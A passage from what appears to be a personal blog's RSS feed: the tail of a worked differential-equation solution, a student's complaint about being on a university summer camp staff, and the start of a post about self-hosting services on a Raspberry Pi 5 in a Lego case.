(900-p_0)e^{\frac{1}{2}t}&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.1389em;&quot;&gt;P&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.7278em;vertical-align:-0.0833em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;900&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.6833em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.0715em;&quot;&gt;C&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.625em;vertical-align:-0.1944em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.3011em;&quot;&gt;&lt;span style=&quot;top:-2.55em;margin-left:0em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;⇒&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.1389em;&quot;&gt;P&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.7278em;vertical-align:-0.0833em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;900&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;900&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1.204em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.3011em;&quot;&gt;&lt;span style=&quot;top:-2.55em;margin-left:0em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.954em;&quot;&gt;&lt;span style=&quot;top:-3.363em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mopen nulldelimiter sizing reset-size3 size6&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mfrac&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.8443em;&quot;&gt;&lt;span style=&quot;top:-2.656em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size3 size1 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.2255em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;frac-line mtight&quot; style=&quot;border-bottom-width:0.049em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.384em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size3 size1 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.344em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose nulldelimiter sizing reset-size3 size6&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal mtight&quot;&gt;t&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mn&gt;12&lt;/mn&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;900&lt;/mn&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mn&gt;900&lt;/mn&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;msup&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mn&gt;6&lt;/mn&gt;&lt;/msup&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;mo&gt;⇒&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;900&lt;/mn&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;msup&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mrow&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mn&gt;6&lt;/mn&gt;&lt;/mrow&gt;&lt;/msup&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;P(12) = 900 - (900-p_0)e^6 = 0 \Rightarrow p_0 = 900(1-e^{-6})&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.1389em;&quot;&gt;P&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.7278em;vertical-align:-0.0833em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;900&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;900&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1.0641em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.3011em;&quot;&gt;&lt;span style=&quot;top:-2.55em;margin-left:0em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.8141em;&quot;&gt;&lt;span style=&quot;top:-3.063em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;6&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.6444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;⇒&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.625em;vertical-align:-0.1944em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.3011em;&quot;&gt;&lt;span style=&quot;top:-2.55em;margin-left:0em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;900&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1.0641em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.8141em;&quot;&gt;&lt;span style=&quot;top:-3.063em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mord mtight&quot;&gt;6&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>The Bitter Truth About Summer Camp Staff</title><link>https://www.windson.cc/en/posts/amcamp/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/amcamp/</guid><description>TL;DR Before summer camp starts planning, they recruit a round of people. They’ll tell you: “The camp won’t take up too much of your time, and won’t affect your studies. About six hours per week. It w</description><pubDate>Fri, 17 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;tldr&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#tldr&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;Before summer camp starts planning, they recruit a round of people. They’ll tell you: &lt;em&gt;“The camp won’t take up too much of your time, and won’t affect your studies. About six hours per week. It won’t be too exhausting…”&lt;/em&gt; But once you’re in, you’ll find the reality is nowhere near what they promised during recruitment. The promised 6 hours becomes 12 hours, eventually becoming 12+ hours. Moreover, practice sessions start at night and can go until one or two in the morning.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;snake-dance&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#snake-dance&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Snake Dance&lt;/h2&gt;
&lt;p&gt;Basically a acrobatics performance. No dance background needed—it’s all physical work, requiring minimal musical talent (at least being able to hear the beat). Duration is about 5 minutes. Since it’s acrobatics and everyone’s just regular people, injuries from falls and exhaustion are very common during practice. The difficulty is high and requires everyone’s coordination. This is the most time-consuming activity. Basically it’s extremely exhausting—my stamina would give out before finishing.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;team-games&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#team-games&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Team Games&lt;/h2&gt;
&lt;p&gt;These practice sessions often start at midnight. Starting at midnight itself is weird—how are you supposed to attend classes the next day without proper sleep? I once took leave because my body wasn’t feeling well from the snake dance, and someone still murmured about it, just because the guitar club’s performance was the next day. That’s how the department ecology works.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;art-day&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#art-day&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Art Day&lt;/h2&gt;
&lt;p&gt;I only learned about this at the staff meeting. There’s no advance notice about how much art work you’ll do based on your group choice—shouldn’t that be a consideration when choosing groups? And before officially joining, there’s no briefing explaining each group’s work and time commitment. The only information I received was during Linear Algebra class, when the head coordinator suddenly told me: &lt;em&gt;“It’ll probably only take six hours per week, not too exhausting. I think you can do it.”&lt;/em&gt; That’s all the information I had before joining.&lt;/p&gt;
&lt;h3 id=&quot;props&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#props&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Props&lt;/h3&gt;
&lt;p&gt;Art day means lots of crafts, but mainly RPG props. There are tons of them—about 100+ pieces—and any mistakes mean starting over. Those props are small cards used for checkpoint challenges. The art team designs the patterns first, prints them out, uses one copy as a template for coloring, and everyone else paints following the exact colors. They need to be identical—visually indistinguishable at least. After coloring, you cut out the pattern, remove the black borders, and glue them onto 9x9 cardstock. All that cardstock has to be cut from individual A4 sheets into 9x9 grids, then after gluing, hand-laminated with tape. So much work is manual—if any step goes wrong, that card is ruined and must be redone. This went on for about three weeks. Why “about”? &lt;del&gt;Because I stopped going after that&lt;/del&gt;.&lt;/p&gt;
&lt;p&gt;All this hassle could actually be done with printing. When the guitar club laminated name tags for 30+ people, laminating only cost 160 bucks. Refusing to use machines just means everyone serves time together.&lt;/p&gt;
&lt;h3 id=&quot;prison-sessions&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#prison-sessions&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Prison Sessions&lt;/h3&gt;
&lt;p&gt;One session is 105 minutes. Depending on your group and activities, the number of sessions you need to fill per week varies:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Female camp counselors, RPG: 4&lt;/li&gt;
&lt;li&gt;Everyone else: 3&lt;/li&gt;
&lt;li&gt;Male camp counselors, Art team: no sessions required&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;See it now! It’s a prison sentence!&lt;/strong&gt; Time commitment, excluding art and male camp counselors, is at least +5 hrs/week&lt;/p&gt;
&lt;h3 id=&quot;name-tags&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#name-tags&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Name Tags&lt;/h3&gt;
&lt;p&gt;Currently designed by the art team, made by the art team. There’s nothing wrong with the art team designing them, since those who can’t do art simply can’t design. But name tags need to be handcrafted after design, and after the event, those things are either already gray or sitting somewhere gathering dust. Handmaking those hard-to-cut, hard-to-glue designs is really unnecessary. Printing and laminating is more practical and won’t make everyone so exhausted.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;staff-fee&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#staff-fee&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Staff Fee&lt;/h2&gt;
&lt;p&gt;This was only formally disclosed when I was preparing to quit. This is very wrong. The fact that there’s a staff fee should be clearly explained before joining, not when someone is about to leave. &lt;del&gt;The old man Zhou told me it’s about 2000 per person&lt;/del&gt;. If I wasn’t leaving, would I only be informed about the staff fee after the camp ended? It’s fine to charge, but it should be clearly explained before joining—this is a major consideration for whether to join or not. Fees shouldn’t be collected only when someone quits or after the event.&lt;/p&gt;
&lt;p&gt;Also, this camp activity has no recruitment briefing—just a staff meeting after adding people to divide responsibilities. All information is only learned through actual practice. Of course, review dates are announced in advance, but not the times! Meaning you need to keep your entire day free for it—this is also unreasonable.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Anyway, camp is full of these kinds of unreasonable situations, so I quit recently. I’m still in the process of &lt;em&gt;&lt;strong&gt;coordinating&lt;/strong&gt;&lt;/em&gt; with the head coordinator, but I’m definitely leaving. But if you’re a freshman, go ahead and join—the camp itself is actually pretty fun.&lt;/p&gt;</content:encoded></item><item><title>Self-Hosting Services on Raspberry Pi 5</title><link>https://www.windson.cc/en/posts/raspi-localhost/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/raspi-localhost/</guid><description>A few days ago, Each’s server had some issues, which made me suddenly feel like my stuff should be on my own. Then I went wild, hosting quite a few things. Another big坑 dug out Equipment I don’t have </description><pubDate>Wed, 15 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A few days ago, Each’s server had some issues, which made me suddenly feel like my stuff should be on my own. Then I went wild, hosting quite a few things. &lt;del&gt;Another big坑 dug out&lt;/del&gt;&lt;/p&gt;
&lt;!--more--&gt;
&lt;hr&gt;
&lt;h2 id=&quot;equipment&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#equipment&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Equipment&lt;/h2&gt;
&lt;p&gt;I don’t have a spare computer at home, since I use my laptop for classes every day and can’t heavily modify it. So the best choice was the Raspberry Pi. I initially thought it might struggle or overheat, but so far it seems to be holding up fine.&lt;/p&gt;
&lt;h3 id=&quot;warn-under-voltage&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#warn-under-voltage&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Warn: Under-Voltage&lt;/h3&gt;
&lt;p&gt;The Raspberry Pi requires 5V/5A. The dormitory provides 1A and 2.1A charging ports, but every time I try to start the Minecraft server, it’s a test of luck. Because the power isn’t enough, the Raspberry Pi shuts itself down about half the time when starting. It won’t reboot—it just stays off. This really frustrated me. If I’m trying to remotely start a service and it shuts down, I’d have to go back to the dorm to rescue it. Later, I went home and grabbed a phone charger. It’s not 5V/5A either, so the under voltage warning pops up regularly, but at least it doesn’t shut down directly.&lt;/p&gt;
&lt;h3 id=&quot;little-pis-home&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#little-pis-home&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Little Pi’s Home&lt;/h3&gt;
&lt;p&gt;When I first got it, I was deciding whether to buy a case, and the conclusion was: &lt;em&gt;“Why not build my own?”&lt;/em&gt;&lt;br&gt;
So I took out all the Legos at home and found the best candidate was my first Lego set—the Pizza Shop&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/10/raspi-localhost/Lego-pizza.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;All materials basically came from it. Look closely and you’ll notice the roofs are identical. After a major renovation of the Pizza Shop, it’s the state you see now. But this case’s drawback is poor heat dissipation—even with heatsinks, the temperature reaches 70 degrees during operation.&lt;/p&gt;
